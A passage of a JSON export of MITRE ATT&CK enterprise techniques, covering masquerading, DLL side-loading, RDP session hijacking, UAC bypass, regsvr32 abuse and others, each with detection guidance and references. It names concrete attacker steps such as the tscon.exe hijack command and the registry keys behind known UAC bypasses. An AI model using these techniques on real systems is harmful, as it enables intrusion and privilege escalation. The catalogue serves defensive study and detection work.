      "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.  Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program.  Alternatively, the filename given may be a close approximation of legitimate programs.  This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\n\n===Windows===\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the <code>C:\\Windows\\System32</code> directory.  Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n===Linux===\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before.  (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux  would be the <code>/bin</code> directory.  Examples of trusted binary names that can be given to malicious binares include \"rsyncd\" and \"dbus-inotifier\".   (Citation: Fysbis Palo Alto Analysis)  (Citation: Fysbis Dr Web Analysis)\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nDefense Bypassed: Whitelisting by file name or path\n\nContributors: ENDGAME, Bartosz Jerzman",
      "meta": {
        "external_id": "T1036",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring",
          "Binary file metadata"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1036",
          "https://www.endgame.com/blog/how-hunt-masquerade-ball",
          "https://www.f-secure.com/documents/996508/1030745/CozyDuke",
          "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/",
          "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/",
          "https://vms.drweb.com/virus/?i=4276269"
        ]
      },
      "uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
      "value": "Masquerading - T1036"
    },
    {
      "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs\n\nDefense Bypassed: Anti-virus, Process whitelisting",
      "meta": {
        "external_id": "T1073",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Process use of network",
          "Process monitoring",
          "Loaded DLLs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1073",
          "https://msdn.microsoft.com/en-us/library/aa375365",
          "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf"
        ]
      },
      "uuid": "b2001907-166b-4d71-bb3c-9d26c871de09",
      "value": "DLL Side-Loading - T1073"
    },
    {
      "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process use of network\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1020",
        "kill_chain": [
          "mitre-attack:enterprise-attack:exfiltration"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring",
          "Process use of network"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1020"
        ]
      },
      "uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
      "value": "Automated Exfiltration - T1020"
    },
    {
      "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM",
      "meta": {
        "external_id": "T1046",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "Netflow/Enclave netflow",
          "Network protocol analysis",
          "Packet capture",
          "Process command-line parameters",
          "Process use of network"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1046"
        ]
      },
      "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
      "value": "Network Service Scanning - T1046"
    },
    {
      "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution",
      "meta": {
        "external_id": "T1091",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement",
          "mitre-attack:enterprise-attack:credential-access",
          "mitre-attack:enterprise-attack:initial-access"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Data loss prevention"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1091"
        ]
      },
      "uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4",
      "value": "Replication Through Removable Media - T1091"
    },
    {
      "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring\n\nPermissions Required: User, Remote Desktop Users\n\nSystem Requirements: RDP service enabled, account in the Remote Desktop Users group.\n\nContributors: Matthew Demaske, Adaptforward",
      "meta": {
        "external_id": "T1076",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "Authentication logs",
          "Netflow/Enclave netflow",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1076",
          "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
          "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/",
          "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html",
          "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
          "https://github.com/nccgroup/redsnarf"
        ]
      },
      "uuid": "51dea151-0898-4a45-967c-3ebee0420484",
      "value": "Remote Desktop Protocol - T1076"
    },
    {
      "description": "Data exfiltration may be performed only at certain times of day or at certain intervals.  This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1029",
        "kill_chain": [
          "mitre-attack:enterprise-attack:exfiltration"
        ],
        "mitre_data_sources": [
          "Netflow/Enclave netflow",
          "Process use of network",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1029"
        ]
      },
      "uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466",
      "value": "Scheduled Transfer - T1029"
    },
    {
      "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)\n\nDetection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings.  For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nDefense Bypassed: Windows User Account Control\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Casey Smith",
      "meta": {
        "external_id": "T1088",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "System calls",
          "Process monitoring",
          "Authentication logs",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1088",
          "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works",
          "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx",
          "https://msdn.microsoft.com/en-us/library/ms679687.aspx",
          "http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html",
          "https://github.com/hfiref0x/UACME",
          "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
          "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware",
          "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
          "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
          "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"
        ]
      },
      "uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
      "value": "Bypass User Account Control - T1088"
    },
    {
      "description": "The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL) (Citation: NVD CVE-2016-6662), standard services (like SMB (Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services. (Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include Exploitation for Defense Evasion.\n\nFor websites and databases, the OWASP top 10 gives a good list of the top 10 most common web-based vulnerabilities. (Citation: OWASP Top 10)\n\nDetection: Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Application logs, Packet capture, Web logs, Web application firewall logs",
      "meta": {
        "external_id": "T1190",
        "kill_chain": [
          "mitre-attack:enterprise-attack:initial-access"
        ],
        "mitre_data_sources": [
          "Application logs",
          "Packet capture",
          "Web logs",
          "Web application firewall logs"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1190",
          "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
          "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
          "https://nvd.nist.gov/vuln/detail/CVE-2014-7169",
          "https://www.owasp.org/index.php/Category:OWASP%20Top%20Ten%20Project"
        ]
      },
      "uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
      "value": "Exploit Public-Facing Application - T1190"
    },
    {
      "description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Write access to system or domain logon scripts",
      "meta": {
        "external_id": "T1037",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement",
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1037",
          "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx",
          "https://support.apple.com/de-at/HT2420"
        ]
      },
      "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334",
      "value": "Logon Scripts - T1037"
    },
    {
      "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nRequires Network: Yes\n\nContributors: Walker Johnson",
      "meta": {
        "external_id": "T1090",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Process use of network",
          "Process monitoring",
          "Netflow/Enclave netflow",
          "Packet capture"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1090",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
      "value": "Connection Proxy - T1090"
    },
    {
      "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
      "meta": {
        "external_id": "T1117",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Loaded DLLs",
          "Process monitoring",
          "Process command-line parameters",
          "Windows Registry"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1117",
          "https://support.microsoft.com/en-us/kb/249873",
          "https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html",
          "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
        ]
      },
      "uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
      "value": "Regsvr32 - T1117"
    },
    {
      "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n===Mac and Linux===\n\nIn Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls",
      "meta": {
        "external_id": "T1083",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1083",
          "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
        ]
      },
      "uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
      "value": "File and Directory Discovery - T1083"
    },
    {
      "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Engame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nDetection: Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Data Execution Prevention\n\nPermissions Required: Administrator, SYSTEM",
      "meta": {
        "external_id": "T1181",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1181",
          "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx",
          "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx",
          "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx",
          "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
          "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
          "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/",
          "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"
        ]
      },
      "uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
      "value": "Extra Window Memory Injection - T1181"
    },
    {
      "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe <code>net user</code> commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs\n\nPermissions Required: Administrator",
      "meta": {
        "external_id": "T1136",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Process Monitoring",
          "Process command-line parameters",
          "Authentication logs",
          "Windows event logs"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1136",
          "https://docs.microsoft.com/windows/device-security/auditing/event-4720"
        ]
      },
      "uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67",
      "value": "Create Account - T1136"
    },
    {
      "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1043",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Netflow/Enclave netflow",
          "Process use of network",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1043",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e",
      "value": "Commonly Used Port - T1043"
    },
    {
